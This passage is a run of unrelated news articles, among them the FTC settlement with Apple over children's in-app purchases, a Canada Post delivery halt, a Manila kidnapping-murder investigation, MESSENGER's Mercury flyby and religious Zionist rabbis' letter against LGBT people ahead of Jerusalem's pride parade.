along our journey. We don't shy away from these kinds of questions, because we are confident in the integrity of our company and our coworkers.  Thank you for the hard work you do to delight our customers, and for showing them at every turn that Apple is worthy of their trust.  Tim  Here's the full announcement of the settlement from the FTC:  Apple Inc. has agreed to provide full refunds to consumers, paying a minimum of $32.5 million, to settle a Federal Trade Commission complaint that the company billed consumers for millions of dollars of charges incurred by children in kids' mobile apps without their parents' consent.  Under the terms of the settlement with the FTC, Apple also will be required to change its billing practices to ensure that it has obtained express, informed consent from consumers before charging them for items sold in mobile apps.  "This settlement is a victory for consumers harmed by Apple's unfair billing, and a signal to the business community: whether you're doing business in the mobile arena or the mall down the street, fundamental consumer protections apply," said FTC Chairwoman Edith Ramirez. "You cannot charge consumers for purchases they did not authorize."  The FTC's complaint alleges that Apple violated the FTC Act by failing to tell parents that by entering a password they were approving a single in-app purchase and also 15 minutes of additional unlimited purchases their children could make without further action by the parent.  Apple offers many kids' apps in its App Store that allow users to incur charges within the apps. Many of these charges are for virtual items or currency used in playing a game. These charges generally range from 99 cents to $99.99 per in-app charge.  The complaint alleges that Apple does not inform account holders that entering their password will open a 15-minute window in which children can incur unlimited charges with no further action from the account holder. In addition, according to the complaint, Apple has often presented a screen with a prompt for a parent to enter his or her password in a kids' app without explaining to the account holder that password entry would finalize any purchase at all.  The rapidly expanding mobile arena has been a focus of the Commission's consumer protection efforts. In addition to its consumer protection enforcement activity in the mobile sphere, last year, the FTC issued staff reports addressing mobile payments and providing recommendations for the mobile industry on how to protect consumers as new and innovative payment systems come into use, advocating improved privacy disclosures in the mobile environment, and addressing advertising disclosures in the context of mobile devices.  In its complaint, the FTC notes that Apple received at least tens of thousands of complaints about unauthorized in-app purchases by children. One consumer reported that her daughter had spent $2,600 in the app "Tap Pet Hotel," and other consumers reported unauthorized purchases by children totaling more than $500 in the apps "Dragon Story" and "Tiny Zoo Friends." According to the complaint, consumers have reported millions of dollars in unauthorized charges to Apple.  The settlement requires Apple to modify its billing practices to ensure that Apple obtains consumers' express, informed consent prior to billing them for in-app charges, and that if the company gets consumers' consent for future charges, consumers must have the option to withdraw their consent at any time. Apple must make these changes no later than March 31, 2014.  Under the settlement, Apple will be required to provide full refunds, totaling a minimum of $32.5 million, to consumers who were billed for in-app charges that were incurred by children and were either accidental or not authorized by the consumer. Apple must make these refunds promptly, upon request from an account holder. Apple is required to give notice of the availability of refunds to all consumers charged for in-app charges with instructions on how to obtain a refund for unauthorized purchases by kids. Should Apple issue less than $32.5 million in refunds to consumers within the 12 months after the settlement becomes final, the company must remit the balance to the Commission.  The Commission vote to accept the consent agreement package containing the proposed consent order for public comment was 3-1, with Commissioner Wright voting no. Chairwoman Ramirez and Commissioner Brill issued a joint statement, and Commissioner Ohlhausen issued a separate statement. Commissioner Wright issued a dissenting statement.  The FTC will publish a description of the consent agreement package in the Federal Register shortly. The agreement will be subject to public comment for 30 days, beginning today and continuing through Feb. 14, 2014, after which the Commission will decide whether to make the proposed consent order final. Interested parties can submit written comments electronically or in paper form by following the instructions in the "Invitation To Comment" part of the "Supplementary Information" section. Comments in electronic form should be submitted online by following the instructions on the web-based form. Comments in paper form should be mailed or delivered to: Federal Trade Commission, Office of the Secretary, Room H-113, 600 Pennsylvania Avenue, N.W., Washington, DC 20580. The FTC is requesting that any comment filed in paper form near the end of the public comment period be sent by courier or overnight service, if possible, because U.S. postal mail in the Washington area and at the Commission is subject to delay due to heightened security precautions.  NOTE: The Commission issues an administrative complaint when it has "reason to believe" that the law has been or is being violated, and it appears to the Commission that a proceeding is in the public interest. When the Commission issues a consent order on a final basis, it carries the force of law with respect to future actions. Each violation of such an order may result in a civil penalty of up to $16,000.  The Federal Trade Commission works for consumers to prevent fraudulent, deceptive, and unfair business practices and to provide information to help spot, stop, and avoid them. To file a complaint in English or Spanish, visit the FTC's online Complaint Assistant or call 1-877-FTC-HELP (1-877-382-4357). The FTC enters complaints into Consumer Sentinel, a secure, online database available to more than 2,000 civil and criminal law enforcement agencies in the U.S. and abroad. The FTC's website provides free information on a variety of consumer topics. Like the FTC on Facebook, follow us on Twitter, and subscribe to press releases for the latest FTC news and resources.
-Bad news comes from the set of The Maze Runner: The Death Cure today as franchise star Dylan O’Brien was injured during production on the sequel bring directed by Wes Ball in British Columbia. Production has been halted after O’Brien was taken to the hospital to be treated, but there are conflicting reports as to the extent of his injuries and how they came to be.  Find out more about the Dylan O’Brien injury on The Maze Runner set after the jump.  TMZ was first to report news of Dylan O’Brien getting injured, saying that the actor was run over by a car during a stunt scene that went wrong. The gossip site said O’Brien was severely injured, saying that he had several broken bones. However, an official statement says that O’Brien was injured yesterday during production without citing specific details:  “Dylan O’Brien was injured yesterday while filming Maze Runner: The Death Cure in Vancouver, Canada. He was immediately transferred to a local hospital for observation and treatment. Production on the film will be shut down while he recovers. Our thoughts go out to Dylan for a full and speedy recovery.”  20th Century Fox doesn’t mention any “severe” injury or broken bones, but the studio probably wouldn’t want to be forthcoming about those kind of details concerning the private health matters of one of their actors.  However, Deadline seems to have heard more specifics on the injury as they say “O’Brien apparently fell off the back of a set that was supposed to look like the back of a train” and that’s how he fractured either his cheekbone or orbital socket. The details on that front are still uncertain. The only thing certain is that the film is on hiatus while O’Brien recovers.  For anyone worried about the well-being of O’Brien, The Maze Runner writer James Dashner posted a couple updates to Twitter to put fans at ease:  I just want to let everyone know that yes, Dylan was hurt, but that he’s going to be okay. Not life threatening in any way. — James Dashner (@jamesdashner) March 18, 2016  Production is postponed but certainly not cancelled. All that matters now is that Dylan recovers. We love you, Dylan!!! — James Dashner (@jamesdashner) March 18, 2016  Just because the injury isn’t life-threatening doesn’t mean it’s not bad news. Surely, O’Brien would rather be back at work rather than getting observed and recovering in a hospital. But we’re just happy to hear that O’Brien is all right and hope he will be back at work soon.  The Maze Runner: The Death Cure had previously been set for a February 17, 2017 release, but it’s not clear if that date will have to be delayed after this setback. As soon as we get more details on the extent of the production delay, we’ll let you know.
-Canada Post is suspending the conversion of door-to-door delivery to community mailboxes.  In a news release issued late Monday, Canada Post spokeswoman Anick Losier said the corporation will work "collaboratively" with the government of Canada to determine the best path forward given the challenges in the postal system.  "Efforts are now underway to place the comprehensive program on hold in an orderly fashion," Losier said in the release. "This involves roughly 460,000 addresses across the country which are currently in the process to be converted to community mailboxes."  Outgoing Transport Minister Lisa Raitt, whose portfolio includes Canada Post, said the corporation makes decisions independent of government.  'Arm's-length Crown corporation'  "They are an arm's-length Crown corporation and take their own operational decisions," Raitt told CBC News. "But they also have a statutory obligation to operate self-sufficiently, and if they are not then I expect they will be held accountable."  Canadian Union of Postal Workers national president Mike Palecek said members are "ecstatic" about the news.  "We've been fighting this campaign for a year and a half, and we're glad they finally put a halt to this disastrous program," he told CBC News. "It's time to talk about the future of Canada Post, about restoring service to those who have lost it, and about having a public mandate review of Canada Post so we can look at alternatives to these cuts."  Palecek said Canada Post should be looking at expanding services, such as having banking and financial services in post offices. He said it appears that the incoming Liberal government is following up on an election campaign promise to put an immediate moratorium on the cuts and to carry out a study.  The Liberal platform promised to ensure "high-quality service at a reasonable price to Canadians, no matter where they live."  "We succeeded in making this a major election issue and making sure that people understood exactly who it was and is to blame, and that's Stephen Harper and the Conservative government," Palecek said. "I think the Canadian public spoke loudly and clearly last week by changing the government."  Palecek said the CUPW will keep up pressure to restore delivery to the roughly one million addresses that have been converted to community mailbox service since the program began 10 months ago.  The Liberal Party declined to comment on the Canada Post announcement.  Montreal mayor ready to 'reconsider' lawsuit  Montreal Mayor Denis Coderre, who once took a jackhammer to the concrete base of a community mailbox to make a point about his opposition to Canada Post's plans, spoke to reporters gathered at city hall on Monday.  Coderre said he was prepared to consider withdrawing from the lawsuit he joined to block the implementation of community mailboxes in Canada.  The City of Montreal was one of several municipalities to join the Canadian Union of Postal Workers' lawsuit earlier this year.  "We'll see what happens, but if everything is suspended I'm even ready to reconsider. But clearly we have to have a truce — because you have to be vigilant with Canada Post, we never know. They say one thing and then the next day, who knows what happens," Coderre said on Monday.  "But since we have a new government who was very clear on what would be the outcome of Canada Post, let's sit together. We want to be a part of a solution."
-Limbaugh Urges Republicans to Denounce Caitlyn Jenner, Resist Liberal Plot to 'Redefine Normalcy'  The radio host weighed-in on Caitlyn Jenner's transition, arguing Republicans should reject Caitlyn Jenner, even if she agrees with them politically.  Rush Limbaugh took to the airwaves to weigh-in on the gender transition of Caitlyn Jenner, a self-described conservative, and urged his fellow Republicans to turn their backs on her.  “We should not be celebrating this, we should not be lionizing this, we should not be encouraging this,” said Limbaugh on his radio show Wednesday.  “These people have a very serious problem, and they need treatment,” he said. “They need help, not encouragement.”  Politico reports the radio host said he took offense at the suggestion that conservatives have an opportunity to embrace Jenner, because the implication is that they need to embrace her in order to prove they’re not bigots.  According to the report in Politico, Limbaugh also dismissed an unnamed conservative blog that suggested Republicans embrace Jenner as one of their own, to seem more humane, saying that doing so would constitute falling into a liberal trap.  He called that an effort to stigmatize conservatives and that conservatives shouldn’t agree to liberals’ terms by accepting Caitlyn Jenner as a woman.  According to Mediaite, Limbaugh accused liberals of trying to “redefine normalcy,” in a way that he said threatened traditional values.  “Conservatives and Republicans are the new weirdos, the new kooks and that is part of the political objective here in normalizing all of this really marginal behavior,” said Limbaugh.  Listen to Limbaugh’s rant against Jenner by clicking on the link below.
-Jammu: PDP patron Mufti Mohammad Sayeed will be the Jammu and Kashmir chief minister after his party reached an agreement for forming a government with the BJP, top party sources said Saturday.  Sources close to PDP patron Mufti Muhammad Sayeed, who returned to winter capital Jammu on Friday after spending a week in Mumbai, told IANS that an agreement had been reached on all contentious issues between the PDP and the BJP.  "Yes, main agreement has been reached on the draft of the CMP (common minimum programme) on contentious issues like article 370, armed forces special powers act (AFSPA) and the plight of West Pakistan refugees.  "It has been agreed that without any written reference to it, both the parties would respect the wishes of the people of the state in consonance with the constitution of the country with regard to article 370," a top party source told IANS.  As per the agreement, Mufti Mohammad Sayeed will be the chief minister for the full six years.  The PDP insider who is engaged with the BJP in the dialogue process on government formation on behalf of his party also said instead of accepting the demand that the AFSPA should be revoked from the entire state within one year, it has now been agreed by the two parties that a committee would be formed which would recommend gradual, but timely, revocation of the act from areas in the state.  Sources in the BJP said: "The PDP has agreed to the BJP demand that the CMP should accept that the problems faced by West Pakistan refugees should not be politicized, but treated as a humanitarian issue that needs to be addressed on humanitarian grounds."  When asked to comment on media reports that government formation in the state was imminent because the PDP and the BJP had agreed on the draft of the common minimum programme (CMP) for governance, party chief spokesman Naeem Akhtar told IANS in winter capital Jammu: "I am meeting Mufti Sahib today and if anything has been worked out, we will hold a briefing about it during the day."  Unlike his steady dismissal of any agreement with the BJP during the last nearly two months when he maintained the "structured dialogue between the BJP and the PDP had not even started", Akhtar sounded less circumspect Saturday about his lack of knowledge regarding an agreement on the common minimum programme with the BJP.  West Pakistan refugees are those over 25,000 families who came to the state after the India-Pakistan wars of 1947, 1965 and 1971.  Since these people were not citizens of the erstwhile state of Jammu and Kashmir as it existed before accession to India in 1947, they cannot vote in the state assembly elections, nor buy property in the state.  These refugees cannot apply for government jobs since all the state government jobs in Jammu and Kashmir are reserved for permanent residents of the state.  As an anomaly, the West Pakistan refugees can vote in the parliament elections, but not in the state assembly elections since the state has a constitution of its own in addition to the country's constitution and both apply concomitantly to the state.  With regard to the PDP demand on return of NHPC owned hydro-electric power projects in the state to state ownership, the sources said it had been agreed that the two would work together for central assistance for state ownership of these projects.  "The nuts and bolts job has been completed. All that now remains is an announcement on the agreement between the two which could be made within the next two to three days," said sources.  The sources added that Mufti Mohammaad Sayeed would formally call on Prime Minister Narendra Modi after the PDP and the BJP announce having formalized the draft of the CMP.  IANS  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-Image copyright AFP/Greenpeace Image caption Daldykan river: If there was a chemical discharge the source of it is not clear  Russian environmental inspectors are trying to establish why a river near the Norilsk Nickel industrial complex in the Arctic has turned blood-red.  Dramatic pictures of the discoloured Daldykan river have been posted widely on Russian media.  The government daily Rossiiskaya Gazeta says a leaking slurry pipeline carrying waste copper-nickel concentrate could be to blame.  Norilsk Nickel is the world's largest nickel and palladium producer.  Its vast furnaces were built on the Taimyr Peninsula, in the Krasnoyarsk region of Siberia, in the Soviet era.  The mining group has a production facility called Nadezhda by the Daldykan river. But company officials said they were not aware of any river pollution from the plant.  Billionaire oligarch Vladimir Potanin is president of Norilsk Nickel.
-The Modernists welcome all time-daring voyagers to an unprecedented gathering in the year 2019 to Modern Gala: Time Travel, an otherworldly soirée where the past will meet its future in a mind-bending journey to the fourth dimension inside the walls of the National WWI Museum and Memorial.  Meet fellow travelers and explore the ripples of time through entertainment, dazzling beverages, hors d'oeuvres, a memorable time travelers toast, dancing and much more in the spirit of centuries past and historical camaraderie. Indulge in the fantasy of time travel and get inspired by the elegant fashions of an era you wish to visit. Prepare yourself for the most stimulating event of the summer, in support of the Museum and Memorial.  Travelers from all eras welcome! Tickets are $50 for members, $75 for non-members. Become a member today.  Modern Gala: Time Travel is supported by State Street
-LISTEN: A Cuban Protest Singer On The State Of U.S.-Cuba Relations  Enlarge this image toggle caption Eyder Peralta /NPR Eyder Peralta /NPR  Over the past couple of weeks — on All Things Considered, over at Parallels, on Tumblr and on this blog — we've been reporting on Cuba. We've touched on the Internet, on baseball, on Havana's decay and on the revolution's fraying egalitarian promise.  Today, our reporting comes to an end with a final piece on All Things Considered.  Host Robert Siegel spoke to Carlos Varela, who is perhaps the most interesting political critic on the island in the past few decades.  You might have expected him to be a dissident. He's not. Instead, he's singer-songwriter who is part of a musical movement in Cuba known as la Nueva Trova. Folk singers such as Silvio Rodriguez are the torchbearers for that movement. But unlike Rodriguez, who wrote romantically and passionately about the socialist revolution, Varela's music came of age after the fall of the Soviet Union, at a time of serious economic crisis in Cuba.  It means that Varela has — with metaphors — been intensely critical of the Cuban regime. Somehow, he's managed to thrive both as a voice for Cubans on the island and as a voice for Cubans in exile in Miami.  Varela says this is an important moment for Cuba.  "Cubans are living in very interesting times," Varela said about the present. It's a time of great change and lots of hope, and that's a good thing for a country full of dreamers, he said.  We'll post much more of Varela's conversation with Robert at the top of this post later today. But we'll leave with a song that Varela sang for us at the bar of the Havana's Hotel Nacional, a landmark just full of reminders of the Cuba from the past — the one that glimmered with Hollywood stars, the place where members of the mob could drink with abandon despite prohibition back at home.  Varela said the song, "Walls and Doors," captures the sentiment of the country at the moment. It begins: "Ever since the world's existed / There's one thing that is certain / There are those who build walls / And those who open doors."  The refrain goes: "That's how it's always been / And I know you know it  There can be freedom only when nobody owns it"  Jackson Brown recorded an English version of the song. His translation is here. With that, here's the performance, which was recorded and produced by NPR's Theo Balcomb:
-St Pete paved the way for a big change Thursday to get big money out of local politics.  City Council leaders made the critical decision to ban super pacs and limit campaign contributions to $5,0000. The decision could create a ripple effect around the nation!  Winnie Foster has been fighting big campaign contributions for longer than most of us have been alive. “Since I was teenager. I’m 90 now,” she said with a smile. That's 77 years of rallies, sign waiving and protests.  “The local governments are now on the front line for the protection and practice of democracy,” she added.  More than 100 St Pete residents flooded city council chambers Thursday dressed in red and demanding change.  Koiffe Hunt was one of those residents. “The average american feels like they don’t have a voice in their own government. That really bothers me”  The ordinance that passed on Thursday is monumental. It bans highly controversial super PACs and limits campaign contributions to $5,000.  Here’s why that’s so important to you: Let’s say a big construction company gives $100,000 to a mayoral candidate and months later, they bid on a big city project and get it. “People need to have faith that their leaders are acting for them and representing them their voters as opposed to their donors and lobbyists who are funding these campaigns at increasingly alarming rates," explained Brian Remler.  The Rick Kriseman, Rick Baker for mayor face off is a huge example. The candidates have raised more than $2 million combined!  But some St Pete leaders worry this decision will land them in a courtroom. The change comes with a huge risk. St Pete taxpayers could be legally liable for up to 2 million dollars.  Foster says it’ll be money well spent. Her next focus is on state leaders. After all, she still has another decade of fighting to go. “I’m determined to live to be 100 because there is still so much work to be done,” she said.
-Jack White: ‘Absolutely no chance’ of White Stripes reunion By Live4ever - Posted on 22 Mar 2012 at 4:58am  Jack White has said there is ‘absolutely no chance’ of The White Stripes reforming in the future after the duo decided to call it a day last year.  It was February 2011 when Jack and Meg told the world of their split after a period of inactivity following he release of the ‘Icky Thump‘ album four years earlier, outlining ‘a myriad of reasons’ for the move.  And Jack White has now told NME there will be no going back on the decision, as he cannot see any reason why they might want to return.  “Absolutely no chance,” he said. “I couldn’t see any reason to ever do that. I’m not the kind of person that would retire from baseball and come out of retirement the next year. I mean, if we went to all the trouble of telling people we’re done, we meant it, you know?”  “If we were forced to change our mind about that, I can only imagine being the reason, like if for some reason we went bankrupt or something or needed the cash, which would be a really sad thing, I would probably be issuing an apology along with the announcement of the show dates!”  A new White Stripes single is set for release in time for Record Store Day. The record will feature early tracks ‘Handsprings‘ and ‘Red Death at 6:14‘.
-MANILA, Philippines - Three policemen and two others were arrested by the National Bureau of Investigation (NBI) over the weekend in connection with the woman who was stuffed in a plastic drum found floating in the Pasig River.  Inspector Eljie Jacobe and Police Officer 1 Mark Jay de los Santos were caught by NBI agents while they were about to withdraw P50,000 from real estate agent Adora Lazatin’s account at an automated teller machine in five days after she was reported missing.  Jacobe is with the National Capital Region Police Office’s supplies division and was formerly assigned to the Manila Police District (MPD).  He was still in uniform when he was arrested at a bank in Bicutan, Parañaque at around 3:30 a.m. on Saturday.  At least P200,000 had been withdrawn from Lazatin’s account, according to the NBI.  The drum containing Lazatin’s body was found floating near the Escolta ferry station by two Metropolitan Manila Development Authority employees on Friday.  Lazatin’s husband, Osmundo, cut short his stint as a seaman to identify the victim’s body at the MPD.  The 56-year-old victim’s head, hands and feet were wrapped with packaging tape and a length of nylon cord was coiled around her neck, according to Senior Police Officer 2 Jonathan Bautista, a homicide investigator at the MPD.  Police Officer 1 Edmon Gonzales, Bureau of Corrections officer Domingo Balanquit and Empire Salas were arrested in follow-up operations.  Lazatin’s debit cards and passbooks were seized from the suspects as well as mobile phones, police and BuCor identification cards, pistols and knives.  The NBI is hunting down three other suspects in connection with Lazatin’s murder.  Beware of buyer  According to a source, Lazatin advertised to sell her property in Las Piñas and told her son Ryan that she was about to meet a prospective buyer – who turned out to be De los Santos – at a mall in the city on the morning of April 4.  Ryan reported to the Las Piñas police that his mother was missing when she failed to answer his text messages in the afternoon of the same day and his inquiries with a friend of hers turned out to be futile.  The NBI said initial investigation showed De los Santos reportedly lured her into a maroon Suzuki Swift.  He and Gonzales later bound Lazatin’s hands and blindfolded and gagged her as Jacobe and another accomplice served as lookouts.  The suspects drove her to a safehouse along C-6 Road in Taguig, where they took her debit card and forced her to reveal its personal identification number.  Money trail  Ryan decided to check his mother’s bank account online, knowing that his mother had P500,000 in the account – her share of the proceeds from properties she had recently sold.  He found that P60,000 had been withdrawn from an ATM in Caloocan City. Lazatin’s family decided to report the incident to the NBI.  The NBI, coordinating with the bank, found that a man wearing a baseball cap and ski mask had withdrawn P50,000 from the bank’s branches in Caloocan, Abad Santos-Antipolo and Manila between midnight and 4 a.m. from April 5 to 9.  The NBI said the man – who turned out to be De los Santos – wore a dark jacket, basketball shorts and rubber slippers.  Stakeout  The NBI deployed more than 100 men to conduct stakeouts on dozens of ATMs across four cities for five days until they chanced upon a black Ford Fiesta (ABJ-7294) parked in front of an ATM in Bicutan, Taguig City at around 3 a.m.  De los Santos came out of the car and was approaching the ATM when NBI agents, led by Special Investigator Joselito Guillen, accosted him.  De los Santos tried to escape but the agents subdued him. Jacobe tried to speed away in the Fiesta but agents blocked his path and arrested him.  Hatching a plan  In his confession, Jacobe said he and his group met in Taguig on April 2 and hatched a plan to kidnap Lazatin and demand ransom money from her family, who reside in Molino, Cavite.  After taking her to a safehouse in Taguig, where they forced her to hand over her debit card, Jacobe and the others took Lazatin to another safehouse, this one in Caloocan City.  They stripped her of her clothes, leaving only her underwear, and strangled her, fearing that she would be able to identify them, Jacobe said.  The five suspects were charged with kidnapping with homicide and violation of the access devices regulation law before the Las Piñas prosecutor’s office yesterday morning.
-DC Extended Universe fans are taking their campaign for a Zack Snyder cut of Justice League to the next level.  A new website dedicated to the pursuit of a Zack Snyder cut of Justice League, ForSnyderCut.org, is set to launch in just over five days. Visiting the website now will bring up a countdown clock and message stating that the website is still under construction.  The website is an escalation of a campaign that started with a Change.org petition begun and supported by fans who were disappointed with the edit made to Justice League by director Joss Whedon and the new score provided by Danny Elfman:  “The DC Extended Universe is based on DC comics, a brand of comic books that writes superheroes, villains and other characters from different backgrounds with different backstories and motivations, that are relatable to the reader with themes that mirror the real world, for example, Man of Steel was the first entry in the the DC Extended Universe, the film revolved around an alien trying to find his place in the world, while dealing with his past, alien origins, superhuman abilities and a plot that revolved around first contact with an alien civilization, while the sequel, Batman v Superman: Dawn of Justice revolved around the existence of an alien and his purpose in the world, how humanity reacted to him, how they were divided and ultimately united, because ofnhim, the different philosophies, ideologies and motivations of a man coming to gripes with his past, the reality of aliens living amongst humans and the realization that such alien could be dangerous, a man with a childhood trauma, who wants to get rid of abusive figures and who realizes that power is not innocent and the perception of humans towards the alien in question. Justice League is the culmination of the alien's story and the beginning of a new chapter in the DC Extended Universe. Fans have been waiting for years, while others have waited decades for the film to finally arrive on the silver screen. The 2hr runtime is disrespectful towards Zack Snyder's vision and towards the fans who have waited for more than a year to see the alien's story come to an end.”  The petition was recently hacked, giving fans a false sense of victory, but it's apparent that they have not be dissuaded from their quest.  Justice League currently has a 61.21 ComicBook.com Composite Score and a 3.7 out of 5 ComicBook.com User Rating. Let us know what you thought of Justice League by giving the movie your own ComicBook.com User Rating below.  The film will be followed in the DC Extended Universe by Aquaman on December 21, 2018, Wonder Woman 2 on November 1, 2019, Shazam on April 5, 2019, Cyborg in 2020, and Green Lantern Corps in 2020.
-— If you’re a stingy, Scroogey type at Christmas, the Admiral Theatre has an incentive for you to change your ways.  Yes, that Admiral Theatre. As in the one with women without many clothes, or any clothes.  Through Dec. 21, the Admiral is offering a free lap dance to anyone who donates an unused, unwrapped toy.  But you won’t get extra attention if you clear off the shelves at the toy store and come to the Admiral with a big sack on your back. The limit is one lap dance per customer. Further reading of the fine print indicates that “compensation for toy donations is left to the discretion of management.”  According to the CBS Chicago “research” department, the club started the promotion in 2010. In the first year, they collected five car loads of toys.  By the way, the Admiral, at 3940 W. Lawrence Ave., is open 364 days a year.  It is only closed on Christmas Eve.
-Valve's official Steam Machine prototype isn't cheap, but it won't be the only Steam-powered video-game console available come 2014. This morning, iBuyPower revealed a prototype of its own upcoming Steam Machine, which will go on sale for just $499 next year. For the price of an Xbox One, the computer will offer a multicore AMD CPU and a discrete AMD Radeon R9 270 graphics card — that's a $180 GPU all by itself — and come with Valve's Steam Controller as part of the package deal.  Update: Over a month after this story was published, iBuyPower tells us that it goofed. The current prototype has a far less powerful R7 250 graphics card, and is aiming to have a still less-powerful but Mantle-capable R7 260X GPU.  The company says the box is bigger than a PlayStation 4 but smaller than Microsoft's Xbox One, and comes standard with Wi-Fi, Bluetooth, and a 500GB hard drive. The glossy white case also has a fully customizable light bar running down the center channel, and an integrated power supply. You won't have to find room for a power brick on your home entertainment center shelves.  For the price, you won't be getting Windows, only Valve's Linux-based Steam OS, which could be an issue starting out. While Valve has quite a few games running on Linux already, and says that major game developers will be building triple-A game titles specifically for Steam OS in 2014, it's not quite the same as having the entire Windows catalog as a fallback. Still, iBuyPower says that existing Steam for Linux games should run quite well, at full 1080p resolution and 60 frames per second. We're looking forward to see just how much power iBuyPower can provide for under $500.
-Mercury Rising  by Staff Writers  MOffett Field CA (SPX) Nov 05, 2009  A NASA spacecraft's third and final flyby of Mercury gives scientists, for the first time, an almost complete view of the planet's surface and provides new scientific findings about this relatively unknown world.  The Mercury Surface, Space Environment, Geochemistry and Ranging spacecraft, known as MESSENGER, flew by Mercury on Sept. 29. The probe completed a critical gravity assist to remain on course to enter into orbit around Mercury in 2011.  Despite shutting down temporarily because of a power system switchover during a solar eclipse, the spacecraft's cameras and instruments collected high-resolution and color images unveiling another 6 percent of the planet's surface never before seen at close range.  Approximately 98 percent of Mercury's surface now has been imaged by NASA spacecraft. After MESSENGER goes into orbit around Mercury, it will see the polar regions, which are the only unobserved areas of the planet.  "Although the area viewed for the first time by spacecraft was less than 350 miles across at the equator, the new images reminded us that Mercury continues to hold surprises," said Sean Solomon, principal investigator for the mission and director of the Department of Terrestrial Magnetism at the Carnegie Institution of Washington.  Many new features were revealed during the third flyby, including a region with a bright area surrounding an irregular depression, suspected to be volcanic in origin. Other images revealed a double-ring impact basin approximately 180 miles across. The basin is similar to a feature scientists call the Raditladi basin, which was viewed during the probe's first flyby of Mercury in January 2008.  "This double-ring basin, seen in detail for the first time, is remarkably well preserved," said Brett Denevi, a member of the probe's imaging team and a postdoctoral researcher at Arizona State University in Tempe. "One similarity to Raditladi is its age, which has been estimated to be approximately one billion years old. Such an age is quite young for an impact basin, because most basins are about four times older.  The inner floor of this basin is even younger than the basin itself and differs in color from its surroundings. We may have found the youngest volcanic material on Mercury."  One of the spacecraft's instruments conducted its most extensive observations to date of Mercury's exosphere, or thin atmosphere, during this encounter. The flyby allowed for the first detailed scans over Mercury's north and south poles. The probe also has begun to reveal how Mercury's atmosphere varies with its distance from the sun.  "A striking illustration of what we call 'seasonal' effects in Mercury's exosphere is that the neutral sodium tail, so prominent in the first two flybys, is 10 to 20 times less intense in emission and significantly reduced in extent," says participating scientist Ron Vervack, of the Johns Hopkins University Applied Physics Laboratory, or APL, in Laurel, Md.  "This difference is related to expected variations in solar radiation pressure as Mercury moves in its orbit and demonstrates why Mercury's exosphere is one of the most dynamic in the solar system."  The observations also show that calcium and magnesium exhibit different seasonal changes than sodium. Studying the seasonal changes in all exospheric constituents during the mission orbital phase will provide key information on the relative importance of the processes that generate, sustain, and modify Mercury's atmosphere.  The third flyby also revealed new information on the abundances of iron and titanium in Mercury's surface materials. Earlier Earth and spacecraft-based observations showed that Mercury's surface has a very low concentration of iron in silicate minerals, a result that led to the view that the planet's crust is generally low in iron.  "Now we know Mercury's surface has an average iron and titanium abundance that is higher than most of us expected, similar to some lunar mare basalts," says David Lawrence, an APL participating mission scientist.  The spacecraft has completed nearly three-quarters of its 4.9-billion-mile journey to enter orbit around Mercury. The full trip will include more than 15 trips around the sun. In addition to flying by Mercury, the spacecraft flew past Earth in August 2005 and Venus in October 2006 and June 2007.  Studying Mercury could yield important information about how rocky, terrestrial planets form and evolve. Such information can help astronomers determine how and where potentially habitable planets are most likely to form beyond the solar system.
-On the eve of a loaded Gay Pride Parade in Jerusalem, some 300 religious Zionist rabbis signed a letter expressing support for a yeshiva head who called LGBT people “deviants” devoid of “the normalcy of life.”  “There is no room for legitimizing phenomena and behaviors that seek to glorify a way of life that contravenes human morality and the way of the Torah,” the signatories, including top educators and city rabbis, wrote in the letter, published Wednesday. “Our love for every Jew, and the obligation to treat every human being with respect, cannot be a pretext for distorting the halachic truth or ‘cutting corners’ when it comes to forbidden acts.”  They were responding to an outcry generated by Rabbi Yigal Levinstein, a co-head of a prestigious pre-army religious academy in the West Bank, who was filmed last week saying in a speech that “under the framework of pluralism, soldiers and officers are taught to refer to [LGBT people] as ‘proud,’ but I don’t dare call them that… ‘Deviants’ is what I call them.”  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  He added, “There is a crazy movement of people who have simply lost the normalcy of life. This group is making the state crazy and is infiltrating the army with all its might. Nobody dares to open his mouth or make a sound against them. In the army training camp they gave lectures on deviancy.”  In their letter, the rabbis — among whom were Aryeh Stern and Shmuel Eliyahu, the chief rabbis of Jerusalem and Safed, respectively; and Rabbi Shlomo Aviner, the influential head of the Ateret Yerushalayim yeshiva – said that they wished to “voice support for every rabbi who expresses his halachic and moral opinion… without pandering or apology.”  They said that they represented a “silent majority, both religious and secular,” in Israel that is opposed to the LGBT lifestyle and activism.  Education Minister Naftali Bennett, who heads the religious-nationalist Jewish Home party, was one of the Orthodox public figures who condemned Levinstein’s remarks. “This is not the way of religious Zionism,” he said this week. “Jewish law was meant to establish what is forbidden and what is permitted. It was not meant to be a divisive tool to mark people and communities. You cannot call an entire community derogatory names and hide behind [Jewish law].”  One of the organizers of the letter came out against Bennett Wednesday, and accused him of betraying his constituency, telling the Ynet news site, “We find it hard to grasp how a political person, talented as he may be, takes it upon himself to repudiate the rabbis who for years shaped religious Zionism.”  Rabbi Benny Lau, a prominent religious-Zionist rabbi whose cousin David Lau is the chief rabbi of Israel, denounced Levinstein earlier this week.  “Who gave you permission to insult them? In the name of which Torah do you act like this?” he demanded in a video uploaded to Facebook.  Lau spoke of an incident two years ago when Levinstein addressed students at Jerusalem’s Himmelfarb boys’ high school and mockingly compared gay people to animals. Lau recounted that “there was a student there at the back who ran out of the hall at the moment that you told your terrible joke. He intended to kill himself. They prevented him. One year ago… the same student said that he heard you making fun of him and he wanted to kill himself again.”  The Israeli Gay, Lesbian, Bisexual and Transgender Association, known commonly as the Aguda, filed a police complaint against Levinstein for incitement.  The rabbis’ letter is sure to raise hackles among liberal Israelis, ahead of what promises to be an emotional Gay Pride Parade in Jerusalem on Thursday afternoon. It will be the first in the capital since last year’s march, during which Yishai Schlissel, an ultra-Orthodox man, went on a stabbing spree, killing 16-year-old Shira Banki and wounding several others. Last week saw an outcry at the cancellation of Beersheba’s first-ever pride parade over threats of violence.  Aviner, one of the letter’s signatories, and Rabbi Tzvi Tau, who heads the elite Har Hamor yeshiva in Jerusalem, on Wednesday came out against the parade, according to a report in the Orthodox news site Srugim.  “‘Thou shalt not lie with mankind, as with womankind: It is abomination,'” they said in a statement, quoting a verse in Leviticus that is often cited as evidence of God’s abhorrence of homosexuals. “We condemn the existence of an abomination parade in our holy city Jerusalem,” Aviner and Tau went on to say, adding that the parade was a “terrible desecration of God’s name.”  Times of Israel staff contributed to this report.
